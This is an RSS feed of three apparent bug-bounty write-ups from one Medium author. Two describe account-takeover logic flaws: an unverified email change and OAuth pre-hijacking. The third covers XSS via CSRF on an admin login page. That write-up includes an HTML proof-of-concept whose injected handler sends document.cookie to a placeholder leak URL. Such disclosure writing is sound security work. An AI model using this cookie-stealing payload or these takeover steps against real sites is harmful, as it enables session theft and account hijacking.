<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by al1an on Medium]]></title>
        <description><![CDATA[Stories by al1an on Medium]]></description>
        <link>https://medium.com/@Abood_XHacker?source=rss-82b122a44980------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1qufeTn6FCg-1r5K0PU2LA.jpeg</url>
            <title>Stories by al1an on Medium</title>
            <link>https://medium.com/@Abood_XHacker?source=rss-82b122a44980------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:34:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Abood_XHacker/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[َالْحَمْدُ لِلَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، اللَّهُمَّ عَلِّمْنَا مَا…]]></title>
            <link>https://medium.com/@Abood_XHacker/%D9%8E%D8%A7%D9%84%D9%92%D8%AD%D9%8E%D9%85%D9%92%D8%AF%D9%8F-%D9%84%D9%90%D9%84%D9%91%D9%8E%D9%87%D9%90-%D9%88%D9%8E%D8%A7%D9%84%D8%B5%D9%91%D9%8E%D9%84%D9%8E%D8%A7%D8%A9%D9%8F-%D9%88%D9%8E%D8%A7%D9%84%D8%B3%D9%91%D9%8E%D9%84%D9%8E%D8%A7%D9%85%D9%8F-%D8%B9%D9%8E%D9%84%D9%8E%D9%89-%D8%B1%D9%8E%D8%B3%D9%8F%D9%88%D9%84%D9%90-%D8%A7%D9%84%D9%84%D9%91%D9%8E%D9%87%D9%90-%D8%A7%D9%84%D9%84%D9%91%D9%8E%D9%87%D9%8F%D9%85%D9%91%D9%8E-%D8%B9%D9%8E%D9%84%D9%91%D9%90%D9%85%D9%92%D9%86%D9%8E%D8%A7-%D9%85%D9%8E%D8%A7-cda90bb92375?source=rss-82b122a44980------2</link>
            <guid isPermaLink="false">https://medium.com/p/cda90bb92375</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[al1an]]></dc:creator>
            <pubDate>Tue, 27 Jan 2026 23:26:12 GMT</pubDate>
            <atom:updated>2026-01-27T23:28:59.756Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ftX4LjDKkVz0ezuw.png" /></figure><h3>َالْحَمْدُ لِلَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، اللَّهُمَّ عَلِّمْنَا مَا يَنْفَعُنَا، وَانْفَعْنَا بِمَا عَلَّمْتَنَا، وَزِدْنَا عِلْمًا</h3><p>Full Account Takeover via Email Reassignment Logic (Zero‑Click)</p><p>Hi everyone,</p><p>During my testing, I discovered a logic flaw that can lead to a <strong>full account takeover without any user interaction (zero‑click)</strong>.</p><p>The application allows users to create an account and later change the account email address <strong>without verifying ownership of the new email</strong>.<br> This is where the issue starts.</p><h3>How the attack works</h3><p>An attacker first registers an account using their own email address.<br> After registration, the attacker changes the account email to the victim’s email address, and the application accepts this change without sending any verification email.</p><p>When the victim later tries to sign up, they are informed that their email address is already registered.<br> As expected, the victim uses the <strong>Forgot Password</strong> functionality, resets the password, and starts using the account normally, believing it fully belongs to them.</p><p>However, the critical issue is that the application still accepts password reset requests using the <strong>original email address</strong> that was used during account creation.</p><p>At any point in time, the attacker can trigger the <strong>Forgot Password</strong> flow using their original email.<br> The password reset link is sent to the attacker’s inbox, allowing them to reset the password and regain full control over the account — silently and without the victim’s knowledge.</p><h3>Impact</h3><p>This results in a <strong>persistent account takeover</strong> scenario:</p><ul><li>The attacker can repeatedly regain access.</li><li>The victim has no clear way to permanently secure the account.</li><li>All victim data and actions inside the account can be accessed or modified.</li></ul><h3>Root cause</h3><ul><li>Missing email ownership verification during email change</li><li>Improper password reset logic that does not invalidate old email associations</li></ul><p>Thanks for reading, and I hope this helps others recognize similar logic issues during testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qTPVo256iYalbnwEuZkHGg.jpeg" /></figure><p><strong>Finally, thanks for reading! Stay curious and keep learning.</strong><br>Keep in touch:<br><a href="https://www.linkedin.com/in/al1an/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cda90bb92375" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ]]></title>
            <link>https://medium.com/@Abood_XHacker/%D8%A8%D9%90%D8%B3%D9%92%D9%85%D9%90-%D8%A7%D9%84%D9%84%D9%91%D9%8E%D9%87%D9%90-%D8%A7%D9%84%D8%B1%D9%91%D9%8E%D8%AD%D9%92%D9%85%D9%8E%D9%86%D9%90-%D8%A7%D9%84%D8%B1%D9%91%D9%8E%D8%AD%D9%90%D9%8A%D9%85%D9%90-a8f888cbf705?source=rss-82b122a44980------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8f888cbf705</guid>
            <dc:creator><![CDATA[al1an]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 17:53:00 GMT</pubDate>
            <atom:updated>2025-12-16T17:58:32.106Z</atom:updated>
            <content:encoded><![CDATA[<h3>OAuth Account Pre-Hijacking</h3><p>Hi guys 👋<br> I want to share a simple authentication bug I found related to OAuth account linking.</p><h3>The Setup</h3><p>The application allowed:</p><ul><li>Signup with <strong>email + password</strong></li><li>Login with <strong>Google OAuth</strong></li><li>No email verification</li></ul><h3>The Bug</h3><ol><li>An attacker signs up using the victim’s email and sets a password.</li><li>The victim later logs in using <strong>Google</strong> with the same email.</li><li>The system automatically links the Google account to the existing account.</li><li>Sensitive actions still require the attacker’s password.</li></ol><p>The victim is logged in but <strong>doesn’t control the account</strong>.</p><h3>Why This BUG</h3><p>OAuth login proves email ownership, but the system linked accounts <strong>without verification</strong>, causing <strong>account pre-hijacking</strong>.</p><h3>Impact</h3><ul><li>Loss of account control</li><li>Can’t change password or delete account</li><li>Long-term security risk</li></ul><p><strong>In conclusion, this issue highlights how small mistakes in authentication and account linking logic can lead to serious security problems.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*L504Jw9cwMzRlCZMVZAM1w.jpeg" /><figcaption>وَأَنْ لَيْسَ لِلْإِنْسَانِ إِلَّا مَا سَعَى</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8f888cbf705" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS via CSRF in Admin Login Page]]></title>
            <link>https://medium.com/@Abood_XHacker/xss-via-csrf-in-admin-login-page-6ae32950096d?source=rss-82b122a44980------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ae32950096d</guid>
            <dc:creator><![CDATA[al1an]]></dc:creator>
            <pubDate>Thu, 04 Sep 2025 21:59:32 GMT</pubDate>
            <atom:updated>2025-09-04T22:03:23.775Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>During one of my recent security assessments, I encountered an interesting vulnerability. What initially appeared to be a simple <strong>self-XSS</strong> escalated into a more impactful issue: <strong>XSS via CSRF in an Admin Login Page</strong>.</p><p>This write-up covers my methodology, the steps I followed, and how I turned a low-severity finding into something more valuable.<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Reconnaissance</h3><p>As always, I started with subdomain enumeration to map the attack surface. Using <strong>httpx</strong>, I identified several live subdomains, and one of them caught my attention: it hosted an <strong>Admin Login Page</strong>.<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>First Attempts</h3><p>The login form had only two input fields: <strong>username</strong> and <strong>password</strong>.</p><ul><li>The login form had only two input fields: <strong>username</strong> and <strong>password</strong>.</li><li>I first attempted <strong>authentication bypass</strong> using common techniques, but none of them worked.</li><li>Then, I tried <strong>SQL Injection payloads</strong> to manipulate the login logic. However, my requests were immediately blocked.</li></ul><p>At this point, I needed to think differently.<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>XSS Discovery</h3><ul><li>I decided to test for <strong>Cross-Site Scripting (XSS)</strong>.</li><li>I placed a basic XSS payload in the <strong>username</strong> field and entered a random password.</li><li>To my surprise, an <strong>alert box popped up</strong> — confirming the presence of XSS.</li></ul><p>Initially, this looked like just a <strong>self-XSS</strong>, which is often not considered impactful enough to report. But I didn’t stop there.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Escalation via CSRF</h3><p>To explore further, I used <strong>Burp Suite Pro</strong>:</p><p>Intercepted the login request.</p><ol><li>Intercepted the login request.</li><li>Injected my XSS payload into the username field.</li><li>Sent the request to the <strong>Repeater</strong>.</li><li>Generated a <strong>CSRF PoC</strong> using Burp’s built-in feature.</li><li>Opened the CSRF PoC in my browser — and the <strong>alert executed <br>successfully</strong>.</li><li>Here’s a simplified version of the <strong>PoC code</strong>:</li></ol><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>  &lt;head&gt;<br>    &lt;title&gt;XSS via CSRF PoC&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;h3&gt;Move your mouse over the field below&lt;/h3&gt;<br><br>    &lt;form method=&quot;POST&quot; action=&quot;https://example.com&quot; target=&quot;_blank&quot;&gt;<br>      &lt;input type=&quot;text&quot; name=&quot;userid&quot; <br>        value=&#39;&quot; onmouseover=&quot;new Image().src=\&#39;https://example.com/leak?c=\&#39;+document.cookie; setTimeout(function(){location.href=\&#39;https://example.com/login\&#39;},1500)&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;x&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;Login&quot;&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Click to simulate login&quot;&gt;<br>    &lt;/form&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>By chaining <strong>XSS with CSRF</strong>, the vulnerability became more impactful, as it allowed an attacker to trigger XSS remotely via a crafted CSRF payload.<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Key Takeaways</h3><ul><li><strong>Never ignore small findings</strong>. A self-XSS may look minor at first, but with creativity, it can lead to something more valuable.</li><li>Tools like <strong>Burp Suite Pro</strong> provide powerful features (such as CSRF PoC generation) that can help uncover the real impact of a vulnerability.</li><li>Always test different attack vectors — if SQLi doesn’t work, XSS or CSRF might.<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</li></ul><h3>Conclusion</h3><p>This case was a reminder that persistence and creative thinking are crucial in security testing. What seemed like a low-severity finding (<strong>self-XSS</strong>) became a meaningful vulnerability (<strong>XSS via CSRF</strong>) when properly analyzed.</p><p>You can also follow my work and other write-ups on Medium:<br> <a href="https://medium.com/@Abood_XHacker">@Abood_XHacker</a><br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ae32950096d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>